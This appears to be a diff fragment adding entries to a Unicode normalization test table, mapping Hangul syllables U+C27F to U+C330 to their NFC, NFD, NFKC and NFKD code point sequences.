+{ source: [0xC27F], NFC: [0xC27F], NFD: [0x1109, 0x1171, 0x11BA], NFKC: [0xC27F], NFKD: [0x1109, 0x1171, 0x11BA] },
+{ source: [0xC280], NFC: [0xC280], NFD: [0x1109, 0x1171, 0x11BB], NFKC: [0xC280], NFKD: [0x1109, 0x1171, 0x11BB] },
+{ source: [0xC281], NFC: [0xC281], NFD: [0x1109, 0x1171, 0x11BC], NFKC: [0xC281], NFKD: [0x1109, 0x1171, 0x11BC] },
+{ source: [0xC282], NFC: [0xC282], NFD: [0x1109, 0x1171, 0x11BD], NFKC: [0xC282], NFKD: [0x1109, 0x1171, 0x11BD] },
+{ source: [0xC283], NFC: [0xC283], NFD: [0x1109, 0x1171, 0x11BE], NFKC: [0xC283], NFKD: [0x1109, 0x1171, 0x11BE] },
+{ source: [0xC284], NFC: [0xC284], NFD: [0x1109, 0x1171, 0x11BF], NFKC: [0xC284], NFKD: [0x1109, 0x1171, 0x11BF] },
+{ source: [0xC285], NFC: [0xC285], NFD: [0x1109, 0x1171, 0x11C0], NFKC: [0xC285], NFKD: [0x1109, 0x1171, 0x11C0] },
+{ source: [0xC286], NFC: [0xC286], NFD: [0x1109, 0x1171, 0x11C1], NFKC: [0xC286], NFKD: [0x1109, 0x1171, 0x11C1] },
+{ source: [0xC287], NFC: [0xC287], NFD: [0x1109, 0x1171, 0x11C2], NFKC: [0xC287], NFKD: [0x1109, 0x1171, 0x11C2] },
+{ source: [0xC288], NFC: [0xC288], NFD: [0x1109, 0x1172], NFKC: [0xC288], NFKD: [0x1109, 0x1172] },
+{ source: [0xC289], NFC: [0xC289], NFD: [0x1109, 0x1172, 0x11A8], NFKC: [0xC289], NFKD: [0x1109, 0x1172, 0x11A8] },
+{ source: [0xC28A], NFC: [0xC28A], NFD: [0x1109, 0x1172, 0x11A9], NFKC: [0xC28A], NFKD: [0x1109, 0x1172, 0x11A9] },
+{ source: [0xC28B], NFC: [0xC28B], NFD: [0x1109, 0x1172, 0x11AA], NFKC: [0xC28B], NFKD: [0x1109, 0x1172, 0x11AA] },
+{ source: [0xC28C], NFC: [0xC28C], NFD: [0x1109, 0x1172, 0x11AB], NFKC: [0xC28C], NFKD: [0x1109, 0x1172, 0x11AB] },
+{ source: [0xC28D], NFC: [0xC28D], NFD: [0x1109, 0x1172, 0x11AC], NFKC: [0xC28D], NFKD: [0x1109, 0x1172, 0x11AC] },
+{ source: [0xC28E], NFC: [0xC28E], NFD: [0x1109, 0x1172, 0x11AD], NFKC: [0xC28E], NFKD: [0x1109, 0x1172, 0x11AD] },
+{ source: [0xC28F], NFC: [0xC28F], NFD: [0x1109, 0x1172, 0x11AE], NFKC: [0xC28F], NFKD: [0x1109, 0x1172, 0x11AE] },
+{ source: [0xC290], NFC: [0xC290], NFD: [0x1109, 0x1172, 0x11AF], NFKC: [0xC290], NFKD: [0x1109, 0x1172, 0x11AF] },
+{ source: [0xC291], NFC: [0xC291], NFD: [0x1109, 0x1172, 0x11B0], NFKC: [0xC291], NFKD: [0x1109, 0x1172, 0x11B0] },
+{ source: [0xC292], NFC: [0xC292], NFD: [0x1109, 0x1172, 0x11B1], NFKC: [0xC292], NFKD: [0x1109, 0x1172, 0x11B1] },
+{ source: [0xC293], NFC: [0xC293], NFD: [0x1109, 0x1172, 0x11B2], NFKC: [0xC293], NFKD: [0x1109, 0x1172, 0x11B2] },
+{ source: [0xC294], NFC: [0xC294], NFD: [0x1109, 0x1172, 0x11B3], NFKC: [0xC294], NFKD: [0x1109, 0x1172, 0x11B3] },
+{ source: [0xC295], NFC: [0xC295], NFD: [0x1109, 0x1172, 0x11B4], NFKC: [0xC295], NFKD: [0x1109, 0x1172, 0x11B4] },
+{ source: [0xC296], NFC: [0xC296], NFD: [0x1109, 0x1172, 0x11B5], NFKC: [0xC296], NFKD: [0x1109, 0x1172, 0x11B5] },
+{ source: [0xC297], NFC: [0xC297], NFD: [0x1109, 0x1172, 0x11B6], NFKC: [0xC297], NFKD: [0x1109, 0x1172, 0x11B6] },
+{ source: [0xC298], NFC: [0xC298], NFD: [0x1109, 0x1172, 0x11B7], NFKC: [0xC298], NFKD: [0x1109, 0x1172, 0x11B7] },
+{ source: [0xC299], NFC: [0xC299], NFD: [0x1109, 0x1172, 0x11B8], NFKC: [0xC299], NFKD: [0x1109, 0x1172, 0x11B8] },
+{ source: [0xC29A], NFC: [0xC29A], NFD: [0x1109, 0x1172, 0x11B9], NFKC: [0xC29A], NFKD: [0x1109, 0x1172, 0x11B9] },
+{ source: [0xC29B], NFC: [0xC29B], NFD: [0x1109, 0x1172, 0x11BA], NFKC: [0xC29B], NFKD: [0x1109, 0x1172, 0x11BA] },
+{ source: [0xC29C], NFC: [0xC29C], NFD: [0x1109, 0x1172, 0x11BB], NFKC: [0xC29C], NFKD: [0x1109, 0x1172, 0x11BB] },
+{ source: [0xC29D], NFC: [0xC29D], NFD: [0x1109, 0x1172, 0x11BC], NFKC: [0xC29D], NFKD: [0x1109, 0x1172, 0x11BC] },
+{ source: [0xC29E], NFC: [0xC29E], NFD: [0x1109, 0x1172, 0x11BD], NFKC: [0xC29E], NFKD: [0x1109, 0x1172, 0x11BD] },
+{ source: [0xC29F], NFC: [0xC29F], NFD: [0x1109, 0x1172, 0x11BE], NFKC: [0xC29F], NFKD: [0x1109, 0x1172, 0x11BE] },
+{ source: [0xC2A0], NFC: [0xC2A0], NFD: [0x1109, 0x1172, 0x11BF], NFKC: [0xC2A0], NFKD: [0x1109, 0x1172, 0x11BF] },
+{ source: [0xC2A1], NFC: [0xC2A1], NFD: [0x1109, 0x1172, 0x11C0], NFKC: [0xC2A1], NFKD: [0x1109, 0x1172, 0x11C0] },
+{ source: [0xC2A2], NFC: [0xC2A2], NFD: [0x1109, 0x1172, 0x11C1], NFKC: [0xC2A2], NFKD: [0x1109, 0x1172, 0x11C1] },
+{ source: [0xC2A3], NFC: [0xC2A3], NFD: [0x1109, 0x1172, 0x11C2], NFKC: [0xC2A3], NFKD: [0x1109, 0x1172, 0x11C2] },
+{ source: [0xC2A4], NFC: [0xC2A4], NFD: [0x1109, 0x1173], NFKC: [0xC2A4], NFKD: [0x1109, 0x1173] },
+{ source: [0xC2A5], NFC: [0xC2A5], NFD: [0x1109, 0x1173, 0x11A8], NFKC: [0xC2A5], NFKD: [0x1109, 0x1173, 0x11A8] },
+{ source: [0xC2A6], NFC: [0xC2A6], NFD: [0x1109, 0x1173, 0x11A9], NFKC: [0xC2A6], NFKD: [0x1109, 0x1173, 0x11A9] },
+{ source: [0xC2A7], NFC: [0xC2A7], NFD: [0x1109, 0x1173, 0x11AA], NFKC: [0xC2A7], NFKD: [0x1109, 0x1173, 0x11AA] },
+{ source: [0xC2A8], NFC: [0xC2A8], NFD: [0x1109, 0x1173, 0x11AB], NFKC: [0xC2A8], NFKD: [0x1109, 0x1173, 0x11AB] },
+{ source: [0xC2A9], NFC: [0xC2A9], NFD: [0x1109, 0x1173, 0x11AC], NFKC: [0xC2A9], NFKD: [0x1109, 0x1173, 0x11AC] },
+{ source: [0xC2AA], NFC: [0xC2AA], NFD: [0x1109, 0x1173, 0x11AD], NFKC: [0xC2AA], NFKD: [0x1109, 0x1173, 0x11AD] },
+{ source: [0xC2AB], NFC: [0xC2AB], NFD: [0x1109, 0x1173, 0x11AE], NFKC: [0xC2AB], NFKD: [0x1109, 0x1173, 0x11AE] },
+{ source: [0xC2AC], NFC: [0xC2AC], NFD: [0x1109, 0x1173, 0x11AF], NFKC: [0xC2AC], NFKD: [0x1109, 0x1173, 0x11AF] },
+{ source: [0xC2AD], NFC: [0xC2AD], NFD: [0x1109, 0x1173, 0x11B0], NFKC: [0xC2AD], NFKD: [0x1109, 0x1173, 0x11B0] },
+{ source: [0xC2AE], NFC: [0xC2AE], NFD: [0x1109, 0x1173, 0x11B1], NFKC: [0xC2AE], NFKD: [0x1109, 0x1173, 0x11B1] },
+{ source: [0xC2AF], NFC: [0xC2AF], NFD: [0x1109, 0x1173, 0x11B2], NFKC: [0xC2AF], NFKD: [0x1109, 0x1173, 0x11B2] },
+{ source: [0xC2B0], NFC: [0xC2B0], NFD: [0x1109, 0x1173, 0x11B3], NFKC: [0xC2B0], NFKD: [0x1109, 0x1173, 0x11B3] },
+{ source: [0xC2B1], NFC: [0xC2B1], NFD: [0x1109, 0x1173, 0x11B4], NFKC: [0xC2B1], NFKD: [0x1109, 0x1173, 0x11B4] },
+{ source: [0xC2B2], NFC: [0xC2B2], NFD: [0x1109, 0x1173, 0x11B5], NFKC: [0xC2B2], NFKD: [0x1109, 0x1173, 0x11B5] },
+{ source: [0xC2B3], NFC: [0xC2B3], NFD: [0x1109, 0x1173, 0x11B6], NFKC: [0xC2B3], NFKD: [0x1109, 0x1173, 0x11B6] },
+{ source: [0xC2B4], NFC: [0xC2B4], NFD: [0x1109, 0x1173, 0x11B7], NFKC: [0xC2B4], NFKD: [0x1109, 0x1173, 0x11B7] },
+{ source: [0xC2B5], NFC: [0xC2B5], NFD: [0x1109, 0x1173, 0x11B8], NFKC: [0xC2B5], NFKD: [0x1109, 0x1173, 0x11B8] },
+{ source: [0xC2B6], NFC: [0xC2B6], NFD: [0x1109, 0x1173, 0x11B9], NFKC: [0xC2B6], NFKD: [0x1109, 0x1173, 0x11B9] },
+{ source: [0xC2B7], NFC: [0xC2B7], NFD: [0x1109, 0x1173, 0x11BA], NFKC: [0xC2B7], NFKD: [0x1109, 0x1173, 0x11BA] },
+{ source: [0xC2B8], NFC: [0xC2B8], NFD: [0x1109, 0x1173, 0x11BB], NFKC: [0xC2B8], NFKD: [0x1109, 0x1173, 0x11BB] },
+{ source: [0xC2B9], NFC: [0xC2B9], NFD: [0x1109, 0x1173, 0x11BC], NFKC: [0xC2B9], NFKD: [0x1109, 0x1173, 0x11BC] },
+{ source: [0xC2BA], NFC: [0xC2BA], NFD: [0x1109, 0x1173, 0x11BD], NFKC: [0xC2BA], NFKD: [0x1109, 0x1173, 0x11BD] },
+{ source: [0xC2BB], NFC: [0xC2BB], NFD: [0x1109, 0x1173, 0x11BE], NFKC: [0xC2BB], NFKD: [0x1109, 0x1173, 0x11BE] },
+{ source: [0xC2BC], NFC: [0xC2BC], NFD: [0x1109, 0x1173, 0x11BF], NFKC: [0xC2BC], NFKD: [0x1109, 0x1173, 0x11BF] },
+{ source: [0xC2BD], NFC: [0xC2BD], NFD: [0x1109, 0x1173, 0x11C0], NFKC: [0xC2BD], NFKD: [0x1109, 0x1173, 0x11C0] },
+{ source: [0xC2BE], NFC: [0xC2BE], NFD: [0x1109, 0x1173, 0x11C1], NFKC: [0xC2BE], NFKD: [0x1109, 0x1173, 0x11C1] },
+{ source: [0xC2BF], NFC: [0xC2BF], NFD: [0x1109, 0x1173, 0x11C2], NFKC: [0xC2BF], NFKD: [0x1109, 0x1173, 0x11C2] },
+{ source: [0xC2C0], NFC: [0xC2C0], NFD: [0x1109, 0x1174], NFKC: [0xC2C0], NFKD: [0x1109, 0x1174] },
+{ source: [0xC2C1], NFC: [0xC2C1], NFD: [0x1109, 0x1174, 0x11A8], NFKC: [0xC2C1], NFKD: [0x1109, 0x1174, 0x11A8] },
+{ source: [0xC2C2], NFC: [0xC2C2], NFD: [0x1109, 0x1174, 0x11A9], NFKC: [0xC2C2], NFKD: [0x1109, 0x1174, 0x11A9] },
+{ source: [0xC2C3], NFC: [0xC2C3], NFD: [0x1109, 0x1174, 0x11AA], NFKC: [0xC2C3], NFKD: [0x1109, 0x1174, 0x11AA] },
+{ source: [0xC2C4], NFC: [0xC2C4], NFD: [0x1109, 0x1174, 0x11AB], NFKC: [0xC2C4], NFKD: [0x1109, 0x1174, 0x11AB] },
+{ source: [0xC2C5], NFC: [0xC2C5], NFD: [0x1109, 0x1174, 0x11AC], NFKC: [0xC2C5], NFKD: [0x1109, 0x1174, 0x11AC] },
+{ source: [0xC2C6], NFC: [0xC2C6], NFD: [0x1109, 0x1174, 0x11AD], NFKC: [0xC2C6], NFKD: [0x1109, 0x1174, 0x11AD] },
+{ source: [0xC2C7], NFC: [0xC2C7], NFD: [0x1109, 0x1174, 0x11AE], NFKC: [0xC2C7], NFKD: [0x1109, 0x1174, 0x11AE] },
+{ source: [0xC2C8], NFC: [0xC2C8], NFD: [0x1109, 0x1174, 0x11AF], NFKC: [0xC2C8], NFKD: [0x1109, 0x1174, 0x11AF] },
+{ source: [0xC2C9], NFC: [0xC2C9], NFD: [0x1109, 0x1174, 0x11B0], NFKC: [0xC2C9], NFKD: [0x1109, 0x1174, 0x11B0] },
+{ source: [0xC2CA], NFC: [0xC2CA], NFD: [0x1109, 0x1174, 0x11B1], NFKC: [0xC2CA], NFKD: [0x1109, 0x1174, 0x11B1] },
+{ source: [0xC2CB], NFC: [0xC2CB], NFD: [0x1109, 0x1174, 0x11B2], NFKC: [0xC2CB], NFKD: [0x1109, 0x1174, 0x11B2] },
+{ source: [0xC2CC], NFC: [0xC2CC], NFD: [0x1109, 0x1174, 0x11B3], NFKC: [0xC2CC], NFKD: [0x1109, 0x1174, 0x11B3] },
+{ source: [0xC2CD], NFC: [0xC2CD], NFD: [0x1109, 0x1174, 0x11B4], NFKC: [0xC2CD], NFKD: [0x1109, 0x1174, 0x11B4] },
+{ source: [0xC2CE], NFC: [0xC2CE], NFD: [0x1109, 0x1174, 0x11B5], NFKC: [0xC2CE], NFKD: [0x1109, 0x1174, 0x11B5] },
+{ source: [0xC2CF], NFC: [0xC2CF], NFD: [0x1109, 0x1174, 0x11B6], NFKC: [0xC2CF], NFKD: [0x1109, 0x1174, 0x11B6] },
+{ source: [0xC2D0], NFC: [0xC2D0], NFD: [0x1109, 0x1174, 0x11B7], NFKC: [0xC2D0], NFKD: [0x1109, 0x1174, 0x11B7] },
+{ source: [0xC2D1], NFC: [0xC2D1], NFD: [0x1109, 0x1174, 0x11B8], NFKC: [0xC2D1], NFKD: [0x1109, 0x1174, 0x11B8] },
+{ source: [0xC2D2], NFC: [0xC2D2], NFD: [0x1109, 0x1174, 0x11B9], NFKC: [0xC2D2], NFKD: [0x1109, 0x1174, 0x11B9] },
+{ source: [0xC2D3], NFC: [0xC2D3], NFD: [0x1109, 0x1174, 0x11BA], NFKC: [0xC2D3], NFKD: [0x1109, 0x1174, 0x11BA] },
+{ source: [0xC2D4], NFC: [0xC2D4], NFD: [0x1109, 0x1174, 0x11BB], NFKC: [0xC2D4], NFKD: [0x1109, 0x1174, 0x11BB] },
+{ source: [0xC2D5], NFC: [0xC2D5], NFD: [0x1109, 0x1174, 0x11BC], NFKC: [0xC2D5], NFKD: [0x1109, 0x1174, 0x11BC] },
+{ source: [0xC2D6], NFC: [0xC2D6], NFD: [0x1109, 0x1174, 0x11BD], NFKC: [0xC2D6], NFKD: [0x1109, 0x1174, 0x11BD] },
+{ source: [0xC2D7], NFC: [0xC2D7], NFD: [0x1109, 0x1174, 0x11BE], NFKC: [0xC2D7], NFKD: [0x1109, 0x1174, 0x11BE] },
+{ source: [0xC2D8], NFC: [0xC2D8], NFD: [0x1109, 0x1174, 0x11BF], NFKC: [0xC2D8], NFKD: [0x1109, 0x1174, 0x11BF] },
+{ source: [0xC2D9], NFC: [0xC2D9], NFD: [0x1109, 0x1174, 0x11C0], NFKC: [0xC2D9], NFKD: [0x1109, 0x1174, 0x11C0] },
+{ source: [0xC2DA], NFC: [0xC2DA], NFD: [0x1109, 0x1174, 0x11C1], NFKC: [0xC2DA], NFKD: [0x1109, 0x1174, 0x11C1] },
+{ source: [0xC2DB], NFC: [0xC2DB], NFD: [0x1109, 0x1174, 0x11C2], NFKC: [0xC2DB], NFKD: [0x1109, 0x1174, 0x11C2] },
+{ source: [0xC2DC], NFC: [0xC2DC], NFD: [0x1109, 0x1175], NFKC: [0xC2DC], NFKD: [0x1109, 0x1175] },
+{ source: [0xC2DD], NFC: [0xC2DD], NFD: [0x1109, 0x1175, 0x11A8], NFKC: [0xC2DD], NFKD: [0x1109, 0x1175, 0x11A8] },
+{ source: [0xC2DE], NFC: [0xC2DE], NFD: [0x1109, 0x1175, 0x11A9], NFKC: [0xC2DE], NFKD: [0x1109, 0x1175, 0x11A9] },
+{ source: [0xC2DF], NFC: [0xC2DF], NFD: [0x1109, 0x1175, 0x11AA], NFKC: [0xC2DF], NFKD: [0x1109, 0x1175, 0x11AA] },
+{ source: [0xC2E0], NFC: [0xC2E0], NFD: [0x1109, 0x1175, 0x11AB], NFKC: [0xC2E0], NFKD: [0x1109, 0x1175, 0x11AB] },
+{ source: [0xC2E1], NFC: [0xC2E1], NFD: [0x1109, 0x1175, 0x11AC], NFKC: [0xC2E1], NFKD: [0x1109, 0x1175, 0x11AC] },
+{ source: [0xC2E2], NFC: [0xC2E2], NFD: [0x1109, 0x1175, 0x11AD], NFKC: [0xC2E2], NFKD: [0x1109, 0x1175, 0x11AD] },
+{ source: [0xC2E3], NFC: [0xC2E3], NFD: [0x1109, 0x1175, 0x11AE], NFKC: [0xC2E3], NFKD: [0x1109, 0x1175, 0x11AE] },
+{ source: [0xC2E4], NFC: [0xC2E4], NFD: [0x1109, 0x1175, 0x11AF], NFKC: [0xC2E4], NFKD: [0x1109, 0x1175, 0x11AF] },
+{ source: [0xC2E5], NFC: [0xC2E5], NFD: [0x1109, 0x1175, 0x11B0], NFKC: [0xC2E5], NFKD: [0x1109, 0x1175, 0x11B0] },
+{ source: [0xC2E6], NFC: [0xC2E6], NFD: [0x1109, 0x1175, 0x11B1], NFKC: [0xC2E6], NFKD: [0x1109, 0x1175, 0x11B1] },
+{ source: [0xC2E7], NFC: [0xC2E7], NFD: [0x1109, 0x1175, 0x11B2], NFKC: [0xC2E7], NFKD: [0x1109, 0x1175, 0x11B2] },
+{ source: [0xC2E8], NFC: [0xC2E8], NFD: [0x1109, 0x1175, 0x11B3], NFKC: [0xC2E8], NFKD: [0x1109, 0x1175, 0x11B3] },
+{ source: [0xC2E9], NFC: [0xC2E9], NFD: [0x1109, 0x1175, 0x11B4], NFKC: [0xC2E9], NFKD: [0x1109, 0x1175, 0x11B4] },
+{ source: [0xC2EA], NFC: [0xC2EA], NFD: [0x1109, 0x1175, 0x11B5], NFKC: [0xC2EA], NFKD: [0x1109, 0x1175, 0x11B5] },
+{ source: [0xC2EB], NFC: [0xC2EB], NFD: [0x1109, 0x1175, 0x11B6], NFKC: [0xC2EB], NFKD: [0x1109, 0x1175, 0x11B6] },
+{ source: [0xC2EC], NFC: [0xC2EC], NFD: [0x1109, 0x1175, 0x11B7], NFKC: [0xC2EC], NFKD: [0x1109, 0x1175, 0x11B7] },
+{ source: [0xC2ED], NFC: [0xC2ED], NFD: [0x1109, 0x1175, 0x11B8], NFKC: [0xC2ED], NFKD: [0x1109, 0x1175, 0x11B8] },
+{ source: [0xC2EE], NFC: [0xC2EE], NFD: [0x1109, 0x1175, 0x11B9], NFKC: [0xC2EE], NFKD: [0x1109, 0x1175, 0x11B9] },
+{ source: [0xC2EF], NFC: [0xC2EF], NFD: [0x1109, 0x1175, 0x11BA], NFKC: [0xC2EF], NFKD: [0x1109, 0x1175, 0x11BA] },
+{ source: [0xC2F0], NFC: [0xC2F0], NFD: [0x1109, 0x1175, 0x11BB], NFKC: [0xC2F0], NFKD: [0x1109, 0x1175, 0x11BB] },
+{ source: [0xC2F1], NFC: [0xC2F1], NFD: [0x1109, 0x1175, 0x11BC], NFKC: [0xC2F1], NFKD: [0x1109, 0x1175, 0x11BC] },
+{ source: [0xC2F2], NFC: [0xC2F2], NFD: [0x1109, 0x1175, 0x11BD], NFKC: [0xC2F2], NFKD: [0x1109, 0x1175, 0x11BD] },
+{ source: [0xC2F3], NFC: [0xC2F3], NFD: [0x1109, 0x1175, 0x11BE], NFKC: [0xC2F3], NFKD: [0x1109, 0x1175, 0x11BE] },
+{ source: [0xC2F4], NFC: [0xC2F4], NFD: [0x1109, 0x1175, 0x11BF], NFKC: [0xC2F4], NFKD: [0x1109, 0x1175, 0x11BF] },
+{ source: [0xC2F5], NFC: [0xC2F5], NFD: [0x1109, 0x1175, 0x11C0], NFKC: [0xC2F5], NFKD: [0x1109, 0x1175, 0x11C0] },
+{ source: [0xC2F6], NFC: [0xC2F6], NFD: [0x1109, 0x1175, 0x11C1], NFKC: [0xC2F6], NFKD: [0x1109, 0x1175, 0x11C1] },
+{ source: [0xC2F7], NFC: [0xC2F7], NFD: [0x1109, 0x1175, 0x11C2], NFKC: [0xC2F7], NFKD: [0x1109, 0x1175, 0x11C2] },
+{ source: [0xC2F8], NFC: [0xC2F8], NFD: [0x110A, 0x1161], NFKC: [0xC2F8], NFKD: [0x110A, 0x1161] },
+{ source: [0xC2F9], NFC: [0xC2F9], NFD: [0x110A, 0x1161, 0x11A8], NFKC: [0xC2F9], NFKD: [0x110A, 0x1161, 0x11A8] },
+{ source: [0xC2FA], NFC: [0xC2FA], NFD: [0x110A, 0x1161, 0x11A9], NFKC: [0xC2FA], NFKD: [0x110A, 0x1161, 0x11A9] },
+{ source: [0xC2FB], NFC: [0xC2FB], NFD: [0x110A, 0x1161, 0x11AA], NFKC: [0xC2FB], NFKD: [0x110A, 0x1161, 0x11AA] },
+{ source: [0xC2FC], NFC: [0xC2FC], NFD: [0x110A, 0x1161, 0x11AB], NFKC: [0xC2FC], NFKD: [0x110A, 0x1161, 0x11AB] },
+{ source: [0xC2FD], NFC: [0xC2FD], NFD: [0x110A, 0x1161, 0x11AC], NFKC: [0xC2FD], NFKD: [0x110A, 0x1161, 0x11AC] },
+{ source: [0xC2FE], NFC: [0xC2FE], NFD: [0x110A, 0x1161, 0x11AD], NFKC: [0xC2FE], NFKD: [0x110A, 0x1161, 0x11AD] },
+{ source: [0xC2FF], NFC: [0xC2FF], NFD: [0x110A, 0x1161, 0x11AE], NFKC: [0xC2FF], NFKD: [0x110A, 0x1161, 0x11AE] },
+{ source: [0xC300], NFC: [0xC300], NFD: [0x110A, 0x1161, 0x11AF], NFKC: [0xC300], NFKD: [0x110A, 0x1161, 0x11AF] },
+{ source: [0xC301], NFC: [0xC301], NFD: [0x110A, 0x1161, 0x11B0], NFKC: [0xC301], NFKD: [0x110A, 0x1161, 0x11B0] },
+{ source: [0xC302], NFC: [0xC302], NFD: [0x110A, 0x1161, 0x11B1], NFKC: [0xC302], NFKD: [0x110A, 0x1161, 0x11B1] },
+{ source: [0xC303], NFC: [0xC303], NFD: [0x110A, 0x1161, 0x11B2], NFKC: [0xC303], NFKD: [0x110A, 0x1161, 0x11B2] },
+{ source: [0xC304], NFC: [0xC304], NFD: [0x110A, 0x1161, 0x11B3], NFKC: [0xC304], NFKD: [0x110A, 0x1161, 0x11B3] },
+{ source: [0xC305], NFC: [0xC305], NFD: [0x110A, 0x1161, 0x11B4], NFKC: [0xC305], NFKD: [0x110A, 0x1161, 0x11B4] },
+{ source: [0xC306], NFC: [0xC306], NFD: [0x110A, 0x1161, 0x11B5], NFKC: [0xC306], NFKD: [0x110A, 0x1161, 0x11B5] },
+{ source: [0xC307], NFC: [0xC307], NFD: [0x110A, 0x1161, 0x11B6], NFKC: [0xC307], NFKD: [0x110A, 0x1161, 0x11B6] },
+{ source: [0xC308], NFC: [0xC308], NFD: [0x110A, 0x1161, 0x11B7], NFKC: [0xC308], NFKD: [0x110A, 0x1161, 0x11B7] },
+{ source: [0xC309], NFC: [0xC309], NFD: [0x110A, 0x1161, 0x11B8], NFKC: [0xC309], NFKD: [0x110A, 0x1161, 0x11B8] },
+{ source: [0xC30A], NFC: [0xC30A], NFD: [0x110A, 0x1161, 0x11B9], NFKC: [0xC30A], NFKD: [0x110A, 0x1161, 0x11B9] },
+{ source: [0xC30B], NFC: [0xC30B], NFD: [0x110A, 0x1161, 0x11BA], NFKC: [0xC30B], NFKD: [0x110A, 0x1161, 0x11BA] },
+{ source: [0xC30C], NFC: [0xC30C], NFD: [0x110A, 0x1161, 0x11BB], NFKC: [0xC30C], NFKD: [0x110A, 0x1161, 0x11BB] },
+{ source: [0xC30D], NFC: [0xC30D], NFD: [0x110A, 0x1161, 0x11BC], NFKC: [0xC30D], NFKD: [0x110A, 0x1161, 0x11BC] },
+{ source: [0xC30E], NFC: [0xC30E], NFD: [0x110A, 0x1161, 0x11BD], NFKC: [0xC30E], NFKD: [0x110A, 0x1161, 0x11BD] },
+{ source: [0xC30F], NFC: [0xC30F], NFD: [0x110A, 0x1161, 0x11BE], NFKC: [0xC30F], NFKD: [0x110A, 0x1161, 0x11BE] },
+{ source: [0xC310], NFC: [0xC310], NFD: [0x110A, 0x1161, 0x11BF], NFKC: [0xC310], NFKD: [0x110A, 0x1161, 0x11BF] },
+{ source: [0xC311], NFC: [0xC311], NFD: [0x110A, 0x1161, 0x11C0], NFKC: [0xC311], NFKD: [0x110A, 0x1161, 0x11C0] },
+{ source: [0xC312], NFC: [0xC312], NFD: [0x110A, 0x1161, 0x11C1], NFKC: [0xC312], NFKD: [0x110A, 0x1161, 0x11C1] },
+{ source: [0xC313], NFC: [0xC313], NFD: [0x110A, 0x1161, 0x11C2], NFKC: [0xC313], NFKD: [0x110A, 0x1161, 0x11C2] },
+{ source: [0xC314], NFC: [0xC314], NFD: [0x110A, 0x1162], NFKC: [0xC314], NFKD: [0x110A, 0x1162] },
+{ source: [0xC315], NFC: [0xC315], NFD: [0x110A, 0x1162, 0x11A8], NFKC: [0xC315], NFKD: [0x110A, 0x1162, 0x11A8] },
+{ source: [0xC316], NFC: [0xC316], NFD: [0x110A, 0x1162, 0x11A9], NFKC: [0xC316], NFKD: [0x110A, 0x1162, 0x11A9] },
+{ source: [0xC317], NFC: [0xC317], NFD: [0x110A, 0x1162, 0x11AA], NFKC: [0xC317], NFKD: [0x110A, 0x1162, 0x11AA] },
+{ source: [0xC318], NFC: [0xC318], NFD: [0x110A, 0x1162, 0x11AB], NFKC: [0xC318], NFKD: [0x110A, 0x1162, 0x11AB] },
+{ source: [0xC319], NFC: [0xC319], NFD: [0x110A, 0x1162, 0x11AC], NFKC: [0xC319], NFKD: [0x110A, 0x1162, 0x11AC] },
+{ source: [0xC31A], NFC: [0xC31A], NFD: [0x110A, 0x1162, 0x11AD], NFKC: [0xC31A], NFKD: [0x110A, 0x1162, 0x11AD] },
+{ source: [0xC31B], NFC: [0xC31B], NFD: [0x110A, 0x1162, 0x11AE], NFKC: [0xC31B], NFKD: [0x110A, 0x1162, 0x11AE] },
+{ source: [0xC31C], NFC: [0xC31C], NFD: [0x110A, 0x1162, 0x11AF], NFKC: [0xC31C], NFKD: [0x110A, 0x1162, 0x11AF] },
+{ source: [0xC31D], NFC: [0xC31D], NFD: [0x110A, 0x1162, 0x11B0], NFKC: [0xC31D], NFKD: [0x110A, 0x1162, 0x11B0] },
+{ source: [0xC31E], NFC: [0xC31E], NFD: [0x110A, 0x1162, 0x11B1], NFKC: [0xC31E], NFKD: [0x110A, 0x1162, 0x11B1] },
+{ source: [0xC31F], NFC: [0xC31F], NFD: [0x110A, 0x1162, 0x11B2], NFKC: [0xC31F], NFKD: [0x110A, 0x1162, 0x11B2] },
+{ source: [0xC320], NFC: [0xC320], NFD: [0x110A, 0x1162, 0x11B3], NFKC: [0xC320], NFKD: [0x110A, 0x1162, 0x11B3] },
+{ source: [0xC321], NFC: [0xC321], NFD: [0x110A, 0x1162, 0x11B4], NFKC: [0xC321], NFKD: [0x110A, 0x1162, 0x11B4] },
+{ source: [0xC322], NFC: [0xC322], NFD: [0x110A, 0x1162, 0x11B5], NFKC: [0xC322], NFKD: [0x110A, 0x1162, 0x11B5] },
+{ source: [0xC323], NFC: [0xC323], NFD: [0x110A, 0x1162, 0x11B6], NFKC: [0xC323], NFKD: [0x110A, 0x1162, 0x11B6] },
+{ source: [0xC324], NFC: [0xC324], NFD: [0x110A, 0x1162, 0x11B7], NFKC: [0xC324], NFKD: [0x110A, 0x1162, 0x11B7] },
+{ source: [0xC325], NFC: [0xC325], NFD: [0x110A, 0x1162, 0x11B8], NFKC: [0xC325], NFKD: [0x110A, 0x1162, 0x11B8] },
+{ source: [0xC326], NFC: [0xC326], NFD: [0x110A, 0x1162, 0x11B9], NFKC: [0xC326], NFKD: [0x110A, 0x1162, 0x11B9] },
+{ source: [0xC327], NFC: [0xC327], NFD: [0x110A, 0x1162, 0x11BA], NFKC: [0xC327], NFKD: [0x110A, 0x1162, 0x11BA] },
+{ source: [0xC328], NFC: [0xC328], NFD: [0x110A, 0x1162, 0x11BB], NFKC: [0xC328], NFKD: [0x110A, 0x1162, 0x11BB] },
+{ source: [0xC329], NFC: [0xC329], NFD: [0x110A, 0x1162, 0x11BC], NFKC: [0xC329], NFKD: [0x110A, 0x1162, 0x11BC] },
+{ source: [0xC32A], NFC: [0xC32A], NFD: [0x110A, 0x1162, 0x11BD], NFKC: [0xC32A], NFKD: [0x110A, 0x1162, 0x11BD] },
+{ source: [0xC32B], NFC: [0xC32B], NFD: [0x110A, 0x1162, 0x11BE], NFKC: [0xC32B], NFKD: [0x110A, 0x1162, 0x11BE] },
+{ source: [0xC32C], NFC: [0xC32C], NFD: [0x110A, 0x1162, 0x11BF], NFKC: [0xC32C], NFKD: [0x110A, 0x1162, 0x11BF] },
+{ source: [0xC32D], NFC: [0xC32D], NFD: [0x110A, 0x1162, 0x11C0], NFKC: [0xC32D], NFKD: [0x110A, 0x1162, 0x11C0] },
+{ source: [0xC32E], NFC: [0xC32E], NFD: [0x110A, 0x1162, 0x11C1], NFKC: [0xC32E], NFKD: [0x110A, 0x1162, 0x11C1] },
+{ source: [0xC32F], NFC: [0xC32F], NFD: [0x110A, 0x1162, 0x11C2], NFKC: [0xC32F], NFKD: [0x110A, 0x1162, 0x11C2] },
+{ source: [0xC330], NFC: [0xC330], NFD: [0x110A, 0x1163], NFKC: [0xC330], NFKD: [0x110A, 0x1163] },
